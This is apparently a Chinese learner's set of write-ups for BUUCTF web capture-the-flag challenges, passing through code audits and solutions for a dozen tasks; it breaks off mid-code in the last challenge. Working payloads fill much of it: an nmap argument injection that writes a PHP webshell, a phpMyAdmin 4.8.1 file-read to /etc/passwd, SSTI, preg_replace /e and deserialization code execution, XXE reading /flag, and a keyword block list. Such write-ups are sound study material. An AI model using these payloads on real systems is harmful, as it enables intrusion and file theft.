0%

buu2

[强网杯 2019]高明的黑客

下载源码,解压一下,那么多php文件,怎么看的过来,感觉应该要用脚本处理了。

写脚本能力还不行,这里应该是设计了一句话木马,看一下wp。

这里就参考大佬的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) )) #只是一个简单的时间函数,看起来更漂亮罢了
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:/phpstudy_pro/WWW/test1/"
os.chdir(filePath) #改变当前的路径,这个还是不太懂
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath) #得到该目录下所有文件的名称
session = requests.Session() #得到session()为之后的实现代码回显得取创造条件
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire() #好像与锁什么的相关,但是还是不太懂,多线程开启
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) )) #更好看,同时可以对比不加线程和加线程的时间对比
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/test1/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release() #对应于之前的多线程打开


for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()

[BUUCTF 2018]Online Tool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

代码审计一下,有两个新鲜函数escapeshellarg(),escapeshellcmd()。

关于这两个函数绕过可以看看:

https://paper.seebug.org/164/

https://www.baidu.com/link?url=hmHQm0WU4_sK19NtydFvnEzmDDW5WzkovBOKKimBjt2L0REY6lyxRsoczpN1x-kzhT0sH2xZy-r11RPlMZVZMX6WdBwaXcOFPJfPjE27_pNkutAqNaCo1xWISD_oF9Xr&wd=&eqid=ea0fc88a0002d3fc00000006606dc09d

https://blog.csdn.net/weixin_44348894/article/details/105520481

两个函数共同使用会导致字符串逃逸。

代码最后一行有个system,我们可以构造payload传到这个命令中,这里还要知道nmap命令中,参数-oG可以实现将命令和结果写到文件。

构造payload:

?host=' <?php @eval($_POST[1]);?> -oG 1.php '

这两边留空格,如果不留空格,执行后的语句会变成:

\<?php eval($_POST["v"]);?> -oG shell.php\\

还可以写payload:

1
?host=' <?php echo `cat /flag`;?> -oG 1.php '

反引号执行命令。

绕过主要还是看这两个函数的特性,最后还有一个nmap写入命令的语法。

本题关键:两个函数有顺序配合造成漏洞,nmap命令写入,反引号可以执行命令。

[RoarCTF 2019]Easy Java

f12查看源码,访问+文件名,下载了一个word文档,内容:Are you sure the flag is here? ? ?

继续看一下网页,点击help,url有个filename参数,应该可以构造什么注入。

可以用来下载文件。

这里尝试一下下载flag.docx,没有这个文件。但是泄露了版本,这里应该跟访问文件目录有关系。

对于java的了解比较少,看一下wp。

了解一下源码泄露的利用办法:

参考:https://blog.csdn.net/wy_97/article/details/78165051

了解到WEB-INF是java的web应用的安全目录,如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。WEB-INF主要包含一下文件或目录:

WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。

/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中

/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件

/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。

/WEB-INF/database.properties:数据库配置文件

flag文件应该在classes目录。

开始测试,我的hackbar比较low,不能直接该post型,使用burp。

这里的意思不是让我们提交的数据以post方式提交。

先访问/WEB-INF/web.xml来找到flag位置。

然后反编译(其实就是把.换成/),得到payload:

得到base64编码,解码得到flag。

本题关键:主要是对java的web应用的安全目录一个了解,后续还有很多不同语言的框架需要学习。

[GXYCTF2019]BabyUpload

知道是.htaccess文件上传,先上传一个内容:

1
SetHandler application/x-httpd-php

该语句作用是让Apache将其他类型文件均以php格式解析。

这里上传jpg后缀的文件会导致上传失败,只能使用gif或png后缀上传,但是文件类型又需要的是image/jpeg。

本题关键:.htaccess文件上传

[GXYCTF2019]禁止套娃

git源码泄露,使用工具,githack,之前用的那个一直报错,换了一个。

下载地址

https://github.com/lijiejie/GitHack

输入GitHack.py http://0512f6df-b60e-4405-b403-7db5f19a622e.node3.buuoj.cn/.git/

得到源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

代码审计一下,过滤了伪协议,我最爱的php://filter也被过滤了。

本题难点就在绕过第三个条件。

又是知识盲区,看一下wp。

什么是无参数函数RCE

RCE:远程命令执行ping和远程代码执行evel。

源码中有@eval($_GET['exp']);,可以注入一句话木马,但是有正则替换限制,

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。

如果使用参数就无法通过正则验证,

1
2
3
4
只允许执行如下命令:
system()
不允许:
system('ls')

https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E4%BB%80%E4%B9%88%E6%98%AF%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE

https://www.cnblogs.com/wangtanzhi/p/12260986.html

首先要得到当前目录下的文件,**scandir()**可以实现,

这里我们要好好找一下php相关无参数函数,

print_r() 函数用于打印变量,以更容易理解的形式展示。如果给出的是数组,将会按照一定格式显示键和元素。object 与数组类似。

localeconv() 函数 函数返回一包含本地数字及货币格式信息的数组

构造出payload:

?exp=print_r(scandir(current(localeconv())));

或者

?exp=print_r(scandir(pos(localeconv()))); pos是current别名。

还有 :current(localeconv())永远都是个点

怎么读取倒二个数组?查看一下current()函数语法:

不能直接得到倒数第二个,别想着连用两次这个函数,连用两次,第一次返回的结果是值,不是数组,会报错。

方法一:相反顺序返回数组。

函数array_reverse()

构造payload:

?exp=print_r(next(array_reverse(scandir(pos(localeconv())))));

可算返回flag.php了。

然后通过函数readfile()读取或者hightlight_file()函数或者show_source()。

得到flag,f12查看。

方法二:随机交换数组的键和值,直到返回flag.php。

函数array_flip()交换数组的键和值,通过array_rand() 函数返回数组中的一个随机键名。

1
array_rand(array,number)

构造payload:

?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));

这两个函数缺一不可。如果没有交换键和值,只能得到键名,无法读取值的内容。

方法三:通过**session_id(session_start())**得到flag信息。

PHPSESSID本身就支持flag.php字符。

session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。

session_id()可以获取到当前的session id。

因此我们手动设置名为PHPSESSID的cookie,并设置值为flag.php。

cookie值记得只能是flag.php,要把多余的红字部分删除。

[GWCTF 2019]我有一个数据库

什么都没发现,肯定有什么备份文件或者是别的目录,试了一下robots.txt,得到一个文件,phpinfo.php,访问一下得到该php相关信息,好像用处不大,也用不了一句话木马,目录还有一个phpmyadmin,这个跟题目相关了,访问一下。

看了一下phpmyadmin版本4.8.1,百度一下存在远程文件读取漏洞,

可以参考一下:https://www.cnblogs.com/leixiao-/p/10265150.html

构造payload:

index.php?target=db_sql.php%253f/../../../../../etc/passwd

index.php?target=db_sql.php%253f/../../../../../flag

读取flag。

这里%253f什么意思呢,其实就是传入的参数会被url解密两次,最后得到拼接符?

[BJDCTF2020]The mystery of ip

抓包伪造一下xff字段,回显改成我们伪造的ip值,看一下别的页面,hint.php有你知道为什么我知道你的ip吗?

这里的xff字段应该存在什么漏洞。原来存在ssti注入。

构造payload:

{{system('cat /flag')}}

这题突破口在于发现存在ssti注入。要根据题目来找注入点。

[BJDCTF2020]Mark loves cat

原理:$$导致的变量覆盖漏洞。

扫描目录,由于访问太频繁会被限制,要多加些参数。

python dirsearch.py -u http://d5007599-5248-4224-ac1d-c82113740615.node3.buuoj.cn/ --timeout=2 -t 1 -s 0.01

-t 表示线程,-s表示每次请求间隔的时间,–timeout表示连接超时时间。

关于dirsearch相关用法可以看看:https://blog.csdn.net/qq_43936524/article/details/115271837

扫了过后,我们可以发现.git源码泄露,使用githack得到源码。

很奇怪没找到源码,先网上找找源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //GET方式传入flag参数必须完全等于x且x不等于flag。
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //GET和POST都不存在flag参数
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //GET或POST传的是flag参数。
exit($is);
}

echo "the flag is: ".$flag;

函数foreach

1
2
3
4
foreach (iterable_expression as $value)
statement
foreach (iterable_expression as $key => $value)
statement

第一种格式遍历给定的 iterable_expression 迭代器。每次循环中,当前单元的值被赋给 $value

第二种格式做同样的事,多了一步,当前单元的键名也会在每次循环中被赋给变量 $key

函数exit

exit() 函数输出一条消息,并退出当前脚本。

存在三个条件,三个输出,最后还有一个输出$flag,但是要同时绕过三个条件,存在逻辑错误。

同时注意到exit也可以作为输出,第一个条件明显不可能,看看第二条,我们要利用变量覆盖漏洞,需要用get提交,

在代码:

1
2
3
foreach($_GET as $x => $y){
$$x = $$y;
}

当我们传入通过get传入yds=flag,$y就变成了flag,$x=yds,最后就变成了$yds=$flag。通过exit输出flag值。

构造payload:?yds=flag

第三个也可以输出结果,构造payload:

?is=flag&flag=flag

第一get传参的结果和上面的一样是$is=$flag,为了满足第三个条件句的输出,加上后面这个get传参,经过foreach循环的结果是$flag=$flag,成功输出flag。

[BJDCTF2020]ZJCTF,不过如此

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

通过data协议读入base64加密的I have a dream,然后再用php://filter读取next.php文件内容。payload:

?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php

通过base64解码,得到源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

preg_replace(p,r,s)函数,p:要搜索的模式,r用于替换的字符串或字符数组,s目标字符串或目标数组当p传入的正则表达式带有/e时,存在命令执行,即当匹配到符合正则表达式的字符串时,第二个参数的字符串可被当做代码来执行。
这里第二个参数固定为strtolower("\\1")
这里的\\1实际上体现为\1,转义。

有关preg_replace与代码执行可以看看:

https://xz.aliyun.com/t/2557

  • 反向引用

    对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问

\1指的是第一个匹配项,官方相关payload:

/?.*={${phpinfo()}}

思路是利用这个代码执行,执行源码中的getFlag()函数,在传入cmd参数,再利用getFlag中的eval()函数,再进行一个代码执行。

构造payload:

next.php?\S*=${getFlag()}&cmd=system('cat /flag');

由于传入.会被替换成_. 所以使用\S 表示匹配所有非空字符。

这样就可以通过preg_replace漏洞执行getFlag()函数,然后传入cmd相关命令,得到flag。

本题关键:正则替换代码执行。

[安洵杯 2019]easy_web

发现url挺有特点,思路通过img传参来得到源码。

这里有一个逆向解码的过程,

先对img后面的参数两次base64解码,得到3535352e706e67,发现是十六进制数,我们再通过函数hex2bin()把它转换成ASCII 字符,得到555.png。

这里我们先把index.php转化成十六进制,再进行两次base64编码。

通过函数bin2hex()实现:

再进行两次base64加密,得到:TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,成功读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

这里对传入cmd的值进行了很多关键词过滤,

php变量前面加的(string) 是强制转换标志,他的意思是不管后面的变量是什么类型, 都以string 字符串类型解析 ;导致这里不能像以前一样通过数组绕过了。

学习一下新的md5相关的绕过方法:

有关md5的一些绕过可以看看:

https://blog.csdn.net/CSDNiamcoming/article/details/108837347

强类型绕过:

1
2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

post传参,如果使用hackbar传参会被编码,所以直接使用burp,但是记得通过hackbar进行post提交再抓包,不然直接get提交再抓包修改GET为POST为缺少一些相关字段信息,不能成功post提交我们要提交的参数。

当前目录没flag,我们到根目录找flag。

cat被过滤了,但是构造ca\t,\t会变成TAB而绕过,然后获得bin下的flag,payload:

/bin/c\at%20/flag

或者可以构造c\at,l\s这样的带个转义字符的命令在Linux上也可以执行。

/bin/c\at%20flag

[网鼎杯 2020 朱雀组]phpweb

页面时不时跳动一下,应该是有post提交什么参数,抓包看一下,尝试了一下,发现左边可以提交相关函数,右边则是函数内容。

试了一下函数readfile,成功了,拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

存在php序列化,我们可以配合反序列进行绕过黑名单。

后端接收这两个参数后,调用call_user_func将上面的字符串进行反序列化,还原成上面的代码,执行我们的命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Test {
var $p = "ls";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}

$a=new Test();
echo serialize($a);

得到序列化:

O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

执行成功。

没找到flag,但是不知道怎么找别的目录了。可以通过find / -name flag*来找到flag位置。

加个*可以匹配到flag开头任何后缀的文件名。

构造exp:

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

试一下,没跑出来结果,结果每次输入,都没有回显,服务器都跳503了,可能是权限不够。

或者在/tmp目录下找文件,因为它的权限是一般普通用户都可。

然后cat到flag。

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

[De1CTF 2019]SSRF Me

有Hint,flag is in ./flag.txt。

直接提示是SSRF漏洞。了解一下

SSRF(服务器端请求伪造):是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#! /usr/bin/env python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)):
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

@app.route('/')
def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)

先整理一下源码,再分析,手工操作了半天,而且容易错,原来网上有python在线美化工具,处理后,自己再稍作调整即可。

有关Flask框架,关注点再函数getsign,又是有关md5的,不大懂,看看wp。这题很多知识点需要学习。

源码分析:

是python的Flask框架,声明了一个Task类,然后是__init__方法对实例属性初始化,到exec方法,先通过checksign方法检测登陆,当我们传入的参数action和param经过getSign这个函数之后与sign相等,就返回true,返回true之后则进入if语句里面,这里可以看到,如果scan在action里面,则我们可以让param进入scan这个函数。需要注意的是,此处传入到scan里面的param没有被过滤,可以看到判断读和写是两个if关系,也就是说如果action中既有scan,又有read,那么就会依次执行scan和read,对于param参数的过滤,仅仅在于最开始的waf函数,不允许使用file协议和gopher协议读取服务器本地文件,但是我们可以通过让param为flag.txt,我们就能读取它的内容,

方法一:md5字符串拼接。

由于要读取文件flag.txt,我们要构造参数,flag.txtread,这样就可以获得md5(secert_key+flag.txtreadscan)的md5值:

再访问De1ta,设置action和sign,和传入参数param的值,即可获得flag。

这里得到了flag.txtread加密后的md5值,最后修改相应参数得到flag。

方法二:

MD5长度拓展攻击

原理看看:https://joychou.org/web/hash-length-extension-attack.html

使用工具:

https://github.com/bwall/HashPump

相关操作看看:https://blog.csdn.net/qq_42967398/article/details/103549258?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-4.control&dist_request_id=&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-4.control

方法三:

local_file

https://xz.aliyun.com/t/5927

[NCTF2019]Fake XML cookbook

刚开始试了一下想试一下xss漏洞,就爆出一大串错误,应该跟xss存在联系。

看见题目关键词XML,和HTML有相同点,关于它们的区别联系可以看看:https://www.cnblogs.com/hanfanfan/p/9734048.html

这题应该就是存在有关xml漏洞了。百度了一下,XML存在XXE攻击。

有关XXE攻击可以看看https://www.freebuf.com/vuls/175451.html

我们通过客户端向服务器发送XML数据可控,可以引入一个恶意的外部实体,

接下来构造我们自己的恶意实体,读取flag文件。

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY hhh SYSTEM "file:///flag">
]>
<user><username>&hhh;</username><password>123456</password></user>

[ASIS 2019]Unicorn shop

独角兽商店,购买独角兽需要提交两个参数,先尝试一下两个参数。

在只输入左边的时候报错返回,price参数被python的函数unicodedata.numeric,测试出来这里的价格只需要输入一个整数型数字,不需要输入浮点型,经过函数处理会变成浮点型,这个不是重点,

试了一下前三个商品都是错误,只剩第四个了,但是第四个的数字超过限制了,这个需要到网站找了经函数处理值大于1337的字符。

https://www.compart.com/en/unicode/

搜索thousand,然后找一下大于1337的,找了一个酷似音乐符号的፼,这里记得不要使用burp提交,不然显示不出来。

测试了许久,cookie的user处理存在ssti注入。

这里构造的user是根据前面修改cookie的时候回显中存在Set-Cookie值,setcookie() 函数是向客户端发送一个 HTTP cookie。

想直接用之前的学的的方法得到flag,行不通,存在检查。

看了wp学习了新的ssti注入姿势,可以参考这篇文章看看:

https://zhuanlan.zhihu.com/p/28823933

直接利用payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

[CISCN 2019 初赛]Love Math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

动态函数

php可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数。

php中函数名默认为字符串

例如本题白名单中的asinh和pi可以直接异或,这就增加了构造字符的选择,有利于化简。

这样我们就可以使用字符串拼接来构造payload:

?c=$_GET[A]($_GET[B])&A=system&b=cat flag

需要通过编码绕过,先了解一下这几个函数,

base_convert()函数:在任意进制转化数字。

1
base_convert(number,frombase,tobase)

number:原始值,frombase:数字原来的进制,需要转化成的进制。

dechex()函数:把十进制转化为十六进制。

hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。

直接先上payload:

?c=$_GET[a]($_GET[b])&a=system&b=cat flag

转化后

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

首先中括号可以使用花括号代替,然后我们需要先生成hex2bin函数,通过base_convert()生成,这里选择36进制,因为base36有数字和字母刚好满足,把前面的十进制数字转化成36进制,得到hex2bin函数。再通过函数dechex把数字转化成_GET。

这里还有很多方法可以看看:

https://www.jianshu.com/p/c187b336a49e

https://www.cnblogs.com/wangtanzhi/p/12246731.html

[BSidesCF 2020]Had a bad day

分别点击两个选项,观察url有个参数变化,这个参数是我们可控的,输入一下index.php

报错了,这里传入的参数应该可以读取文件,试一下php://filter,成功读取。

?category=php://filter/read=convert.base64-encode/resource=index

这里不用加后缀php前面测试报错有提示,

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

这里只允许传入woofers、meowers、index,我们需要想办法读取flag。我们这里利用php://filter伪协议可以套一层协议读取flag。

构造payload:

?category=php://filter/read=convert.base64-encode/index/resource=flag

[安洵杯 2019]easy_serialize_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
